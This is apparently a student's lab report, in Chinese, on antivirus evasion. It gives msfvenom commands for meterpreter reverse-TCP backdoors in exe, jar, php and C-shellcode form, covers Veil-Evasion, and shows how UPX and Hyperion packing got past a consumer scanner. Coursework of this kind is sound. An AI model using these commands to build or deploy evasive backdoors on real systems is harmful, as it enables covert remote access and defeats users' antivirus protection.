2018-2019-2 网络对抗技术 20165319 Exp3 免杀原理与实践

免杀原理及基础问题回答

免杀原理：

免杀指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广，其中包含反汇编、逆向工程、系统漏洞等黑客技术，所以难度很高，一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码，从而躲避了杀毒软件的查杀。

基础问题

1.杀软是如何检测出恶意代码的?
杀毒软件的原理就是匹配特征码。当扫描得到一个文件时，杀毒软件会检测这个文件里是否包含病毒库里所包含的特征码，如果有，则报毒病查杀，如果没有，纵然这个文件确实是一个病毒，它也会把它当作正常文件来看待。
也有基于行为的恶意软件检测，监控该代码的行为，看是否有恶意行为，或正在做与恶意代码所做的事情相同，威胁到主机安全，则极有可能为恶意代码。

2.免杀是做什么？
修改病毒、木马的内容改变特征码，从而躲避了杀毒软件的查杀。

3.免杀的基本方法有哪些？

开源免杀：指在有病毒、木马源代码的前提下，通过修改源代码进行免杀。

手工免杀：指在仅有病毒、木马的可执行文件(.exe)（PE文件）的情况下进行免杀。

三、免杀效果评价

利用VirusTotal或Virscan，它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

实验内容

任务一：正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧

1. 正确使用msf编码器，生成exe文件

先用VirusTotal或Virscan对实验2做出的后门程序进行检测。
得出如下图结果：

由此可见不加任何处理的后门程序能够被大多数杀软检测到，下面我们用msf编码器对后门程序进行一次到多次的编码，并进行检测。

一次编码使用命令：-e选择编码器，-b是payload中需要去除的字符，该命令中为了使'\x00'不出现在shellcode中，因为shellcode以'\x00'为结束符

十次编码使用命令：-i设置迭代次数

将编码十次后的可执行文件上传到VirusTotal扫描后结果如下：

2. msfvenom生成jar文件

生成java后门程序使用命令：
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.146.131 LPORT=5319 x> gjtbackdoor_java.jar

检测结果：

3. msfvenom生成php文件

生成PHP后门程序使用命令：
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.146.131 LPORT=5319 x> gjtbd.php

扫描结果如下：

4. 使用veil-evasion生成后门程序及检测

我用自己的虚拟机使用了各种网上的教程方法，每次都会失败，最后一次直接让整个虚拟机系统无法运行了。。。。所以我拷贝了室友装好了veil的虚拟机。

用use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP，命令为：set LHOST 192.168.146.131，注意此处的IP是KaliIP；

设置端口，命令为：set LPORT 5319

输入generate生成文件，接着输入你想要playload的名字：19gjt#veil.exe

保存路径为/var/lib/veil/output/compiled/19gjt#veil.exe

检测结果：

可见会被检查出来，而且同一个软件一个网站检测的出来一个网站检测不出来。。。。很神奇。

5. 半手工注入Shellcode并执行

首先使用命令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.131 LPORT=5319 -f c用c语言生成一段shellcode;

创建一个文件20165319.c，然后将unsigned char buf[]赋值到其中。

使用命令：i686-w64-mingw32-g++ 20165319.c -o 20165319.exe编译这个.c文件为可执行文件;

检测结果如图：

将程序复制到win7主机时，腾讯电脑管家查杀查出。

6.加壳

使用压缩壳（UPX）

给之前的20165318.exe加个壳得到gjt#upxed.exe

复制到主机。腾讯检测不到。

用网站检测一下：

加密壳Hyperion

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

进入目录/usr/share/windows-binaries/hyperion/中

输入命令wine hyperion.exe -v gjt#upxed.exe gjt#upxed#hyperion.exe进行加壳

将加壳程序拷贝到主机

腾讯电脑管家依旧查不到。

任务二：通过组合应用各种技术实现恶意代码免杀

通过组合半手工制作shellcode后压缩壳或者加密壳达到了免杀的目的。

任务成功截图：

实验遇到的问题及解决方法

1.问题：veil装不上去还把虚拟机弄崩溃了。

解决：拷贝了舍友的已有kali的虚拟机。

2.问题：使用i686-w64-mingw32-g++ 20165319.c -o 20165319.exe时出现i686-w64-mingw32不是一个文件或文件夹的提示。

解决：将位于root的20165319.c复制到usr文件夹进行编译即可。

实践总结与体会

本次实验是基于上次的后门实验的后续加强版实验。此次实验中我了解了免杀的概念、免杀的基本方法以及对后门动手实现一些免杀的处理，能够做一些基本的免杀操作。
然后亲身体会免杀实验后我发现了杀毒软件的不可靠处，以后要提高安全意识，换个更好的杀毒软件。